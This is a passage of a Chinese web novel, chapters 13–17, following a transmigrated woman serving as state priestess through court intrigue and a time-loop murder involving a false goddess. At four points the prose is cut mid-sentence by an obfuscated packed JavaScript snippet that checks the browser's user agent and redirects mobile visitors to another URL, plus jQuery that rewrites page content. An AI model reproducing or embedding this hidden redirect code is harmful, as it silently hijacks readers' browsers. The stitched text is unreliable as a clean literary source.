;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188886|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下仔细看过,坚定道:“我不会认错,你就是少觋。” 叶熙熙:“……” 他是真心喜欢少觋的吗? 现在的真爱怎么不是眼盲就是心盲,她和少觋是完全不同的两个人,岁梧居然认不出来? 小悲适时插话:“她确实不是少觋,真正的少觋已经消失了。你看她的言辞行事,哪里还有从前的影子。” 岁梧不为所动:“挑拨离间的话,你以为我会信?” “方才你说要助我扫灭诸侯,一统卫述,”他对小悲道,“我不需要,你可以走了。” 新的剧情点出现了。 按原著来说,书已经快进入高潮部分了,岁梧两次拒绝小悲灭世的提议,但是随着卫述局势越发动荡,小悲第三次出现的时候,岁梧和她达成交易,借伪神之力灭世,而后供奉她成为卫述的新神。 小悲并不在意被他拒绝:“倘若你改了主意,我随时会来。” “不过此番我的目的不只有你,”她忽然看向叶熙熙,“老师,可以跟您叙个旧吗?” …… “枢明恢复了记忆,那他应该已经同你讲过,我们几个人过去的恩怨。” 听小悲说完,叶熙熙问道:“所以枢明去昆仑的时候,碧落究竟发生了什么?” 还有你的腿。 她想问,却迟疑着没有开口。到底是她向枢明掀开裙摆的那一幕太悚然,叶熙熙无论何时想起都会手脚发凉。 “枢明离开后不久,正逢出兵征讨灾殃之时,”小悲难得正色,似乎只有回忆起往事,流转的目光中才会显现岁月应有痕迹,“只是这一次,栖川和兮烛同我一同留在了碧落。” “少觋和燧乌出征前,同栖川约定,倘若伐谒趁机进攻碧落,她需要守城十日。十日之内,他们一定会赶回来。” 小悲微微勾唇:“但是他们都没有守约。” “伐谒攻城的第二日,栖川消失了,兮烛也战死了。” “我向神明一遍一遍地祝祷,”她渐渐笑不出来了,闭上眼睛,“神赐福了碧落,降下大雾,十五日不散。伐谒攻不进来,便在雾外面等。” “可惜十五日后,少觋和燧乌,还有出征的将士们都没有回来。” “伐谒攻破碧落,留下一地焦土和尸骸,而我……” 小悲故弄玄虚地一笑:“剩下的,先保密。” “后面的你都知道了,少觋成了仙,燧乌进入轮回,几经转世成为现在的岁梧,栖川大概已经死了,枢明成了妖仙,兮烛更是连全尸都没能留下。” “而我成了一个称职的伪神,我聆听信众们的心愿,然后慷慨降下神迹。” “少觋是背叛了碧落吗?”叶熙熙问出自己的猜想,“所以你会这么恨她。” “背叛碧落的人又岂止她一个。”小悲仰起头,一时间竟有些茫然,“燧乌究竟为何而死,强大如栖川,又为何会在碧落生死攸关之时逃跑,而枢明……” “不知者,难道便无罪吗?” 良久,叶熙熙问她:“我能做些什么?” 如果她没有猜错,小悲的支线任务已经开始了。 “我要准备一场盛大的祭祀,”小悲字字认真,歪着头问她,“你愿意和我一起吗?” 14. 我非卿 叶熙熙怔愣片刻。 “我能冒昧问一下原因吗?”她不知道小悲为何会突发奇想,“有些东西……它不兴学啊。” 小悲从来没想过她会抗拒:“为什么不能学?我看你骂完人之后很快意,我很羡慕。” 叶熙熙:“……可是你总得遇到令你忿忿不快的人或事吧,有前因才有后果,我也不是逮谁骂谁。” 她心里嘀咕一下,应该不是吧? 不得不说,自从穿进这本书里贯彻疯批人设,她的素质好像明显降低了。 小悲露出不理解的眼神,说话更客气了:“那您教我抽人可以吗?” 叶熙熙忽然有点难为情,她在小悲眼里难道就是个癫婆吗,不是骂人就是抽人? “……其实有的时候戾气太重了不好,遇事应当心平气和。” 她忽然想起来小悲之前说的话:“第一次见面的时候,你好像说想骂天道,是因为……碧落之墟吗?” 小悲反问她:“以你所见,什么是天道?” 她的思维还真是跳脱,上一秒还想跟她学坏,下一秒便开始跟她虚无缥缈地探讨。 叶熙熙道:“可能是一种世界万物生长运行的规律?” “于我而言,天道更像是世界求生的法门。”小悲说,“婴孩为了生存不惜致母体死亡,饥民为了生存不惜食人。这个世界也不过是一个自私的活物,一旦面临生存的威胁,便会不顾一切将其铲除,哪怕伤及无辜。” “世界的生存需要秩序,而混乱无序就是灾殃,灾殃灭世。” “碧落之墟能够走向鼎盛,凭借的是对神的忠诚,而忠诚是秩序的奴隶。” “现在卫述的人类得以发展壮大,靠的是礼制,血缘将人分为三六九等,王室分封诸侯,诸侯下封卿士,百官管民,民又在奴隶之上,秩序井然,所以稳定。” “但不论是碧落之墟,还是卫述,都会有毁灭的那一天,你觉得是为什么?” 叶熙熙不言。 小悲说完,声音忽而愉悦起来:“我正在准备一场盛大的祭祀,要不要和我一起?” “祭祀?” 这句话不免让叶熙熙想起那段回忆,小悲还是少女杯珓的时候,一直都渴望能独立完成一场祭祀。 时光荏苒,她不再是那个只知道跟在少觋身后的小姑娘了。 叶熙熙本来还有几分怅然,结果听到小悲接下来的话,那些幽微的思绪顿时消散无影了。 “首先,我还需要两朵生魂。”甚至还补充了一句,“要活剥的。” 叶熙熙:“……”这书不会被禁吧? 她心中的惊疑都写在脸上,小悲有几分鄙夷:“我从来不做害人的事,所有的生魂,都是他们自愿献给我的。” “你若不信,随我一同去看看就好了。” 叶熙熙无奈,虽然这任务听起来邪性,但她硬着头皮也得上。 临走前,她折返到大殿找岁梧。年轻的君王独自坐在殿上,玄色的衣袍在阴影中黯淡无光。他似乎等了她很久,一见到她,便朝她伸出手,撒娇似的柔声道:“觋觋,过来。” 叶熙熙盯着他的脸,想到了那个肩上画着太阳图腾的将军,转世之后,模样不曾有任何变化,只是燧乌常年打仗,肤色略深;而岁梧自小锦衣玉食,白皙的皮肤衬得眉眼更加俊逸。 如果说在碧落之墟,少觋对哪个人有更深的感情,毋庸置疑是燧乌。 叶熙熙记得她在灯下刻写卜文时的笑眼,眼中有情,她不会看错。 所以这才是少觋来卫述做国师的真正原因吧,她是来找燧乌的转世再续前缘的。 男主枢明不过是个幌子。 而岁梧对国师少觋也是情根深种,叶熙熙忽然想到,如果不是她突然穿书,岁梧和少觋这对有情人应该已经终成眷属了。 这样想着,她走到他跟前,手指触碰到他张开的掌心。 岁梧握住她的手:“昨晚我做了一个梦。” 叶熙熙等他继续往下说。 “梦里有个妖魔鬼怪一直在追我,无缘无故,但我知道一旦被它追上,它便会杀死我。” “后来它距离我越来越近,我知道自己难逃一死了,然而这个时候,我忽然意识到我在做梦。” “所以我就停下了,让那个妖怪的獠牙刺穿我的身体,”他微笑,“然后我就醒了。” “觋觋,我最近可能是太累了,所以才会梦到被妖怪追杀”岁梧握住她的手,在指节上吻了一下,“不过这也是一种办法不是吗——脱离梦境的办法。” 叶熙熙听出他有言外之意,但她实在领会不到他的意思。 她倒是想起另一件事:“之前听宫人说,有人想刺杀你,确有此事?” “不过是危言耸听罢了。”岁梧安慰她,“我现在不是好好站在你面前吗?” 原著中岁梧一直活到最后,还跟女二串通攻打各个封国,想来应当不会中途被刺杀。 叶熙熙又问:“现在各诸侯国有何动向?” “一切安好,”岁梧道,“在他们心里,谁是国君并不重要。他们打着不认可我的幌子,背地里希望我能让渡给他们更多权力。” “他们希望取消一年一度的朝会,我允了。” 叶熙熙犹疑:“那岂不是意味着,王畿已经丧失了对各个封地的控制权?” 那样的话,他连表面的稳定都维持不下去了,所有人都会知道卫述在他的统治下四分五裂。 “那又如何。”岁梧道,“这是早晚的事,就算换成其他人坐在这个位子上,也还是如此。” 叶熙熙发现自己越来越看不懂他了:“你辛辛苦苦爬到这个位子上,落得这样的收场,你会甘心?” “觋觋,你是在担心我吗?”岁梧笑容晏晏,“可是我做君主就是为了光明正大地和你在一起,我们可以一起用膳,也可以一起睡,没人敢来阻拦我们。” 他看到叶熙熙面色复杂,还以为她不肯承认,严肃道:“睡都睡过了,不能赖掉。” 叶熙熙:“……”别多想,我只是两眼一黑看不到卫述的未来。 “你开心就好。”最后她这样说,“只是有一点,千万不要相信小悲……瓷仙的任何许诺。” “还是之前的那句话,你遇到任何麻烦,一定要先告诉我。我不会强迫你去做善人,会尊重你的想法。再者,多个人帮你参谋,终归是好的。” “你又要走了吗?”岁梧抓紧了她,恋恋不舍。 叶熙熙应了声是,不知道为什么,觉得他满目缱绻十分刺眼。 从始至终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194966|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他都是把她当成了少觋,所以才爱得这么用力。 但是总有一天他会发现,她不是少觋,她是叶熙熙。 “吉礼之后,大臣们依规为国师献上祭品,如今已经尽数送到国师府上。”岁梧吩咐一位宫人上前,他手里捧着一个小小瓷像,“唯有这件,我觉得新奇,所以拿来给你一观。” 这瓷像的坐姿如此眼熟,叶熙熙不用想就知道是小悲的东西。 “卫述有不少能工巧匠善制瓷,但烧出来的都是青瓷。”岁梧道,“这瓷像莹白,且雕工善走偏锋,堪称鬼斧。” 叶熙熙将微凉的瓷像拿到手上,并未发现什么异样。 离开王宫后,她没找到小悲的踪影,只得先行回到国师府。 叶熙熙将镇雾灯归位。瓷像被她暂时安放在案几上。小悲的东西都太邪性,她不打算把瓷像留下来,但如何处理它也是个麻烦。 她想着,复又拿起瓷像,细致查看。 一个晃神,这种意识被抽离的感觉,叶熙熙只在进入系统空间时体验过,但是这次与以往都不同。 她进入了一个幻境。 无边的旷野,她坐在树下,四周无人。 树冠为她遮住落雨,但水滴还是淅淅沥沥滴在她发丝中。 叶熙熙下意识捂住头顶,低头看到脚边躺着一把帛伞。 她撑着伞,经过大大小小的草屋,急骤雨水将屋顶的木片冲刷得光滑发亮。 这里和碧落很像,但应该是另一个部落。 叶熙熙走了很久都没有看到一个人影,在雨点的嘈杂声中,她能清晰地听见自己的心跳,那惊慌的心脏用力地、急促地拍打着胸膛。 她远远看到了一片海,海边尽是被雨点敲碎的涟漪,七零八落地躺在水面上发抖。 海浪卷着咸腥,一层层白沫冲到她脚边,复又褪去。 一次,两次…… 第三次,泡沫变成血红,阴沉而贪婪地朝她冲过来,叶熙熙后退两步,抬头看向海面。 浮尸,成百上千漂浮在海面上,千疮百孔,流干了血,所以才会把海染成红色。 “是你呀。” 小悲坐在她身边,姿势同方才那尊瓷像一样,褪了一身红衣,一身纯白,仿佛要在这片血海中羽化登仙。 但是雨水狠戾地摧残她,让她浸透了水,沉陷到泥土里。 叶熙熙有些不忍,将伞分给小悲一半。 “你第一次去碧落的时候,我未能亲自欢迎,”她的声音无悲无喜,“而如今你来到伐谒,我总算没再失了礼数。” 少女让叶熙熙感到陌生:“你是小悲?” “小杯,”女子重述一遍,“不,他们都叫我母亲。” “我是碧落的女儿,也是伐谒的母亲。” 她抬起头,望着伞下的人,抬起纤细脆弱的手臂,小心地捧起对方的脸。 那样干净透明的眼神,仿佛她捧起的是一颗太阳。 “回去吧。” 叶熙熙猛地睁开眼睛。 看着眼前熟悉的房间布置,她松了一口气。 而后召来宫人:“这件祭品是谁送来的,可有记录?” 宫人回道:“这白瓷女像是孟昶孟司空的献礼。” 叶熙熙神色一凝,又是孟昶? 15. 溯往昔 孟昶曾向她许愿,想要抢走同事贺纬的妻子。 在吉礼上,她与这两人有过一面之缘。 既然孟昶能进献给她瓷仙娘娘像,想必私下里与小悲应当有过交集。或许他和画师顾垣是同一类人,都是向国师许愿未果,转而投奔了瓷仙。 但是瓷仙的信众都是她的猎物,小悲说自己需要两朵生魂,而这位孟昶或许就是她的猎物之一。 叶熙熙吩咐宫人:“我想见见这位孟大人。” 国师一人之下万人之下,召见一位大臣应当不是难事。 过了一会儿,宫人回话:“孟昶大人邀您前往西山共飨。” 似乎是怕失了礼数,孟昶派了马车随宫人一并回来,现在车已经在外头候着了。 一路颠簸,马车在一家食肆前停下。食肆名西山,依山傍水。门可罗雀,似乎不接待平民。 孟昶派来侍女在门口等待,见到叶熙熙下车,迎上来问安:“国师大人,孟大人早已备好嘉肴美醴,请随奴来。” 房间里,孟昶坐在主座左手边,一名陌生妇人与他遥遥相对,坐在北侧,一袭兰香颜如玉。 除了这二人,屋里还有一位意外来客——画师顾垣。 叶熙熙心中惊讶,面上不显。她身份尊贵,落座主位,其他三人见她都要行礼。 “妾名兰姬,”妇人温言软语,“国师大人乃天上神仙,今幸得国师召见,妾感念天恩。” “国师大人,”孟昶向她介绍顾垣,“这位是臣从王宫中请来的画工。难得国师大人赏光赴宴,臣斗胆想留个纪念,也算不虚此生。” 他想让顾垣把他们三人宴饮的场面画下来。 叶熙熙看了顾垣一眼,他神色如常,装得毕恭毕敬。 顾垣能出现在此处,想来是得到了小悲的授意。 她不知道他们葫芦里买的什么药,但也不戳破:“不知孟大人此番叫我来是为何意?” “国师大人恕罪,我正与兰姬聊到往事,不知国师大人可否有兴趣一听?” 叶熙熙了然,这位兰姬,应当就是孟昶觊觎的他人妇。 得到她的首肯,孟昶娓娓道来:“十年前臣在朔国的时候,尚且是一介平民。” 他知道人的命运自出生便定了分晓。生在王室,便可为官为爵,享一生荣华;生为平民,即便天赋异禀,终其一生勤恳,也难以跨越身份的鸿沟。 “然正逢朔国改制,除却世袭官职,另有部分平民可被选擢为官。” 可惜选贤举能不过是场面话。本就寥寥的名额先是被贵族挤占,平民需花大笔金银贿赂考官才能得到剩下的名额。 “臣家境贫寒,这条路断然行不通。后来臣搭上一位贵人,跟他一起去修阳惠渠。” 他在水利工事上有些才能,历时八年,开凿山地,筑堰导流,得到沃野四万顷,无凶年。 然而他的那位贵人,抢了他的功劳,扶摇直上了。 “臣被留在阳惠渠,主管日常修缮工事。后来某日,臣得知朔国公要来,便提前叫人在河中遍植芙蓉。” “朔国公携宠妾游船河上,一畔芙蓉似锦,博宠妾一笑。朔国公大喜,封臣为卿。” 而之前夺了他功劳的那人,也不过才封了个大夫。 八年劳碌,不及美人一笑。 叶熙熙道:“但你能从朔国来到王畿,成为司空,证明你的才能并未受到埋没。” 孟昶笑而不语。 “孟大人这一路走来实属不易,”兰姬道,“妾有几句微言,还望国师大人与孟大人不嫌妾唠叨。” 她是太史之女,家中有采邑。 自小耳濡目染,识文断字,到了年纪便进入国学。 只可惜射御书数这类课只有男子才能修习。女子只能学些祭祀仪礼、乐器。 还不如待在家中,读父亲给她的书,若有什么新奇想法,便同兄弟姊妹们侃到天南海北。 后来她到了及笄之年,嫁给了司马大人的嫡长子,亦是下一任司马。 众人皆云她一生得享尊荣,是贵命。 “妾读史书,得知旧朝女子不仅为官从政,还能带兵打仗。”兰姬笑道,“妾有自知之明,但仍心向往之。” 从她口中听到这番话,叶熙熙有些意外。 这让她想起那口枯井中,旧朝太后提及“惟妇言是用”,卫述将旧朝覆灭归因于女子,抑阴崇阳,女位日卑。 “说了这许久,不曾敬国师大人一杯,”孟昶举杯,“臣先自罚一杯。” “不必。”叶熙熙一向反感酒桌文化,但由衷想同这两位喝一杯,“我们一起吧。” “敬国师大人。” 兰姬掩面,饮下杯中酒。 砰的一声,门被人一脚踹开,贺纬不顾在场众人,将孟昶的桌案一把掀翻。 长剑出鞘一声哀鸣,剑尖没入孟昶心窝。 鲜血映红了贺纬的眼睛,闻着血腥气,他脸上的横肉在抖动:“事不过三,孟大人,我给过你机会了。” 叶熙熙不敢动,眼看这冷面阎王收剑入鞘,孟昶软绵绵地倒在地上,气绝身亡。 兰姬作壁上观,眸中甚至没有一丝涟漪。 “臣冲撞了国师大人,自会去找君上领罚。”贺纬仿佛这才注意到主位上的叶熙熙,极尽敷衍。 兰姬一言不发,朝叶熙熙行一礼,随夫君一同离开了。 房间内只剩叶熙熙和顾垣。 惊魂未定,她眼看顾垣慢悠悠走到尸体跟前,拖着他的两条腿往门外走。 “第二次。”他莫名其妙说了一句,而后瞥她一眼,“国师大人,瓷仙娘娘在等您。” 叶熙熙跟他一路走到食肆二楼,上台阶时,孟昶的头被撞得一跳一跳,居然有些荒诞的幽默。 在栏杆旁边,她看到一抹熟悉的红色身影:“又见面了,老师。” 小悲俯下身,似是在欣赏尸体的死状:“这是他第二次死掉了。” 在叶熙熙惊疑的目光中,她幽幽道:“这亦是你二次见证他的死亡了。” “你还记得第一次吗?” 她将手盖在叶熙熙的眼睛上,诱哄一般:“好好想想,你会记起来的。” 一片虚无的黑暗,几段零星的记忆映在她脑海中。 “……国师大人,孟大人早已备好嘉肴美醴,请随奴来。” “……妾名兰姬,国师大人乃天上神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206536|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙,今幸得国师召见,妾感念天恩。” “……国师大人,这位是臣从王宫中请来的画工。难得国师大人赏光赴宴,臣斗胆想留个纪念,也算不虚此生。” 然后—— 这是一种何等悚然的感觉,被自己泼在地上的水,随着时光的倒退,从地面上淅沥沥飞起来,顺着她的唇齿,钻进她的食管里。 “国师大人,兰姬方才告诉臣,贺纬已经在杀臣的路上了。” 介绍完画工顾垣,孟昶忽然笑道:“臣同贺纬说好,事不过三,只可惜臣舍不得兰姬,今日已是第四次。” 她当时以为孟昶在开玩笑:“那你便坐在这里等着他来杀?” 她又看了一眼兰姬:“你便是贺纬的妻子?” 兰姬点头称是。 “真是一群怪人。”叶熙熙这样说。 孟昶觊觎人妻,兰姬红杏出墙,两人幽会已被抓住三次,明知第四次会惹来杀身之祸,还不知死活地坐在这里该吃吃该喝喝。 真不知是心大,还是纯纯找死。 “臣已是戴罪之身,不日便会入狱。”孟昶道,“臣想在入狱前,为兰姬做最后一件事。” “国师大人,”他问,“臣可否请您更改卫述的律法,使刑不避大夫,王子与庶民同罪?” 叶熙熙一听便觉得他疯了:“更改律法牵扯众多,怎会由我一人说了算?” “国师大人能否答应臣,”他极尽恳求,“一旦贺纬将臣斩杀,便会判罪,锒铛入狱。” 卫述律法,刑不上大夫。贺纬家中世代为卿士,且他杀人是因为被戴了绿帽子,事出有因,不会过堂受审。 简而言之,孟昶死了也是白死。 叶熙熙问:“你先讲明白,你为何是戴罪之身?” “猃狁来犯,臣与贺纬意见相左,加之私仇,便被贺纬陷害,如今罪名成立,臣百口莫辩。” “臣还知道,贺纬收买了狱卒,一旦入狱,便会被处以私刑,生不如死。” “臣不在意生死,只是不想死后无人照顾兰姬,因而请国师大人过来,看看是否能想出对策。” 叶熙熙听完这话,半信半疑。 倘若孟昶是真心向她求助,便不会私下与瓷仙勾结在一起了。 他一定另有求于瓷仙。 既然如此,孟昶将她叫来此处的目的又是什么? 疑虑间,兰姬开口了:“妾祈求国师大人,让妾平安离开贺纬。” 她向叶熙熙讲述了自己的遭遇,贺纬是如何当着众多姬妾的面侮辱她,无人时又拿她父兄的前程来威胁她。 说到伤心处,兰姬泪如泉涌。 “说了这许久,不曾敬国师大人一杯,”孟昶举杯,“臣先自罚一杯。” “敬国师大人。” 兰姬话落,只听外面传来乱糟糟的响动。 不速之客闯入房间,一剑刺穿了孟昶的胸口。 而后,兰姬离开,顾垣收尸,叶熙熙来到食肆二层见到小悲,都已经发生了一遍。 叶熙熙怔愣着,一时间分不清是过去还是现在。 “你看,我没有骗你吧。”小悲勾唇,“回溯时间的感觉如何?” 16. 一瓣兰 叶熙熙理清了整件事的来龙去脉。 这是她第二次目睹孟昶被贺纬刺死,她进入了一个“轮回”。 其实孟昶早就知道自己会死,并且坦然接受了自己的命运,他和兰姬似乎就是专门在这里等贺纬来的。 第一次见面,孟昶和兰姬分别向自己讲述了自己的困境,孟昶蒙冤即将被流放,而兰姬苦丈夫虐待久矣。 他们找她来,就是想向她寻求帮助。 然而叶熙熙尚未作出决定,便被突然闯入的贺纬打断,孟昶成了刀下鬼,兰姬随丈夫离开。 第二次见面,叶熙熙失去了第一次的记忆,所以不知道贺纬即将要来取孟昶的性命。 孟昶没有再提自己戴罪一事,也未将兰姬托付给他,而是讲述了自己为官路上的坎坷。 兰姬也没有诉苦,而是聊起对前朝女子自由为官从军的羡慕。 而叶熙熙还没明白两人的意图,贺纬又突然冲了进来,取了孟昶性命,而后带兰姬离开。 但是纵观整个过程,有诸多地方令她不解。 叶熙熙正欲开口,却见地上躺尸的孟昶悠悠转醒,张开嘴第一句便是:“她死了吗?” “谁?” 孟昶脸色苍白,眼神偏执得可怕:“兰姬。” 叶熙熙以为他是担心自己死后,贺纬会对她不利:“她跟贺纬走了。” 你若实在放心不下,或许我可以帮她一把。 叶熙熙欲言又止,话到了唇边又咽下去了。 不要节外生枝,不要自以为是圣母,妄图普度众生,这是每一个穿书者的基本素养。 不过孟昶接下来的话却让她大跌眼镜:“贱人!” “我们说好了要一起走,”孟昶喃喃道,“她在自己的酒里下了毒,第一次她没来得及喝,所以被贺纬带走了;好不容易重来了一次,我亲眼见她喝下酒,不曾想却被她骗了!” “还有一次,”他一瘸一拐地爬起来,“这次我要看到她死。” 叶熙熙觉得他大概是疯了:“你和她有什么仇什么怨?” “她无情无义在先,”孟昶冷笑,“我才看明白,原来她与贺纬是一样的人。” “最后一次了,”一直漠然旁观的小悲开口,“尽快了了你的心愿,然后便随我上路了。” 看来这三次的轮回就是孟昶向小悲许下的心愿,而孟昶之所以进入轮回,似乎只是想要兰姬同他一起赴死。 三次轮回结束,小悲便会拘了他的魂魄,此为“两朵生魂”之一。 看来孟昶和兰姬的剧情是支线任务的一部分。 叶熙熙将孟昶的疯癫状貌尽收眼底,庆幸自己没有因为一时的心软而多嘴。 一眨眼,面前的景物发生变化,她又回到了来时的马车。 坐等片刻,只听外面的侍女唤道:“国师大人?” 这是侍女第三次迎她下车:“孟大人早已备好嘉肴美醴,请随奴来。” 虽然每次轮回都会遇到同样的人,但有的人并没有之前几次的记忆,比如这位侍女,再比如兰姬。 “妾名兰姬,国师大人乃天上神仙,今幸得国师召见,妾感念天恩。” 叶熙熙看向孟昶,他浓眉压眼,神色晦暗。 “兰姬,我们先敬国师大人一杯。” 兰姬盈盈望他一眼,一动未动。 “怎么?”孟昶眯起眼睛,恨恨,“你不敢喝?” “孟大人食言在前。”兰姬从容道,“这酒,妾会喝下的,奈何不是现在。” 孟昶一声不吭,将她面前的酒一饮而尽。 兰姬垂眸。 “你骗我。”此酒无毒,他如堕寒冰,“我们约好要同年同月同日死,你忘了吗?” 半晌,兰姬开口了。 “半年前,妾有幸结识一位知己,他理解妾身为女子的不易,亦曾与妾彻夜长谈旧朝史事。” “他风霜高洁,即使坐到高位,也不曾沾染污泥。” “他是妾所仰慕之人,所以妾即便嫁作贺氏妇,也奢望追随他左右。” “但妾还认识一位佞人,”谈及此处,兰姬目光变冷,“他恨自己出身卑贱,视权势如命,明面阿谀谄媚,背地阴险狡诈,无所不用其极。” “他在明堂上与同僚起了冲突,便设计陷害,奈何败露,反惹上祸端。” “妾亲眼看他在无人处软了脊梁,一步一磕头,求同僚不记小人过,放他一马。” “国师大人,”兰姬望向叶熙熙,“您可曾想到,这二者乃同一人?” 孟昶怔愣:“那日……你看到了?” 兰姬笑容讽刺:“妾只知道,昔日的山盟海誓,不过是孟大人报复我夫君的手段罢了。” 叶熙熙沉默地看着二人对峙。 外头乱糟糟的声音再度传来,之后的一切都将再次上演。 剑刃饮血,亡人死不瞑目。 对兰姬而言,知己也好,佞人也罢,从此便是过眼云烟。 不过这次,兰姬没有跟随贺纬离开,她留下了。 “国师大人,”她柔声唤道,“妾有话想对您说。” “妾骗了孟大人,未同他一道赴死,您可觉得妾背信弃义?” 叶熙熙自然不这么认为:“倘若你之前所言皆为真,孟昶此人不值得你付出性命。” 兰姬又问:“国师大人,妾自知只是万千尘沙中最不起眼的一颗,不敢奢求被谁注视。但妾仍想斗胆一问。” “您还记得妾吗?” 兰姬从小便听闻卫述国师是神仙,愿意倾听民声,并实现人们的愿望。 她半信半疑,于是有一日,她向国师许愿,想要吃不完的果脯。 当夜梦里,她朦胧间见到一位白衣仙子,于渺渺云烟中递给她一只陶罐。 陶罐里放着甜香诱人的各色果干,神奇之处在于,每当她拿走一个,罐中便会多出一个,如此往复,满罐的果脯无穷尽也。 醒来后,那陶罐便摆在她床头。她吃了一个月的果脯,后来腻味了,罐子上的仙法便也消失了。果脯食尽,便只留一个罐子。 她将罐子洗净,珍藏至今。 叶熙熙知道她所见到的国师是原女主少觋:“抱歉,我不记得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227380|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “国师大人何必道歉呢,”兰姬垂眸一笑,“卫述的子民这么多,妾不敢妄想能被您记住。” 她又道:“妾还有最后一问,在国师大人心中,妾是一个什么样的人?” 叶熙熙已经猜到了她的意图:“贺氏妇的身份将你囚住了,你想要自由,对吗?” “妾的自由,不过是普天之下一个女子的自由。可妾身后还有数以万计的女子,她们都想要自由。”兰姬强作欢颜。 “国师大人,您真的是神仙吗?可是妾为何觉得,您的存在,并未给卫述带来分毫改变?” “旧朝没有神仙辅君,虽难逃倾覆,可是依旧繁荣了数百年。” “卫述有幸得您护佑,也曾有过鼎盛之时。然而小到吃穿住行,大到兵事朝议,无不是在旧朝的根基上发展起来。” “妾自然感念您主持祭祀,通达民意,求天神护佑卫述。” “但您除了能给妾一罐果脯,还能做什么呢?” 良久的沉默。 叶熙熙无法回答她的问题。 原著中的时代设定本来就经不起推敲。按照真实世界中的历史,早在黄帝时期,人类便已进入神隐时代。 虽然后来的巫觋祭祀文化经久不衰,但真正的神仙早已隐没,甚至有没有神仙的存在都两说。 巫师占卜,表面上问天意,实则是给统治者自己的目的披上一层合法外衣。 按照原著,原女主神通广大,而且担任一国之师辅佐国君,但是除了藏在神像后面倾听民愿,然后时不时回应一下,好像也做不到别的了。 再者,本来她下凡是为了找男主,当然后来叶熙熙发现男主只是个幌子,原女主的真正目的是找到燧乌的转世岁梧,再续前缘。 叶熙熙真想对兰姬说,你确实是个可怜人,成为小说的十八线配角不可怕,就怕成为狗血爱情小说的十八线配角。 主角都忙于爱恨情仇,哪有空管你们的死活啊。 “有的时候,妾会萌生出一种谬想,”兰姬有些出神,“或许这一世并非真实,所有人与事,不过是妾的一场梦罢了。” 叶熙熙一怔,不知为何,她的话仿佛给了自己某种启发。 如果书中的角色们都认识到自己是虚假的,会不会引起某种震荡,使得系统崩塌,第四面墙被打破? 而到了那个时候,自己这个穿书者是否也能有机会从书中离开,回到真实世界? 她看向兰姬:“现在我恐怕无法给出你想要的答复,但如果你肯相信我,不如先到我座下当个仙使。” “一则能保护你不受尘世纷扰,还你自由,二则有了仙使这层身份,无论你做什么事都会方便许多。” 听罢,兰姬眼中流露出异样的神采,但顷刻便灰黯了。 她轻轻摇头:“可惜来不及了。” 早已被二人遗忘的顾垣收好画具,清凌凌开口:“时候不早了,二位该去见瓷仙娘娘了。” 叶熙熙看向兰姬,讶然:“你……” 兰姬颔首:“不错,求了瓷仙娘娘的人不止孟昶,还有我。” 17. 不识君 “你们终于来了。” 小悲见到她们三人,尤其是叶熙熙面色难看,玲珑心窍一点通:“怎么,知道她向我许了愿,要被我剥去生魂了,所以舍不得?” “她清楚许愿的代价,还执意去做,我拦不住,也不愿意多管闲事。” 上来见小悲前,叶熙熙问兰姬:“你真的明白向瓷仙许愿意味着什么吗?” “意味着代价。”兰姬答,“然这世间求哪位神没有代价呢?” “怕就怕无所谓代价,却寻不到灵验的神啊。” 他们都觉得瓷仙“灵验”,无论是兰姬还是顾垣。 好良言难劝该死鬼,大慈悲不度自绝人。叶熙熙表示随他们去吧。 “国师大人,还请您看在我们相逢一场,满足妾的一个遗愿。”兰姬道,“孟大人是戴罪之身,只怕不能按卿士之礼入殓。妾不敢麻烦您太多,只希望您把他埋到一个干净宽敞的地方。” “孟大人说,他家里人安葬时,会在逝者口中放一勺饭,称之饭含。” “但饭含是穷苦人的礼节,”兰姬从头上拔下珠钗,递给叶熙熙,“这枚珠钗是他送妾的,上面这颗珠子,还请您归还于他。” 骨钗上点缀一颗红玛瑙,宛如一颗朱砂痣。而孟昶将含着这颗玛瑙长眠。 叶熙熙接过钗子:“孟昶是如何构陷贺纬的,何以被判流放?” 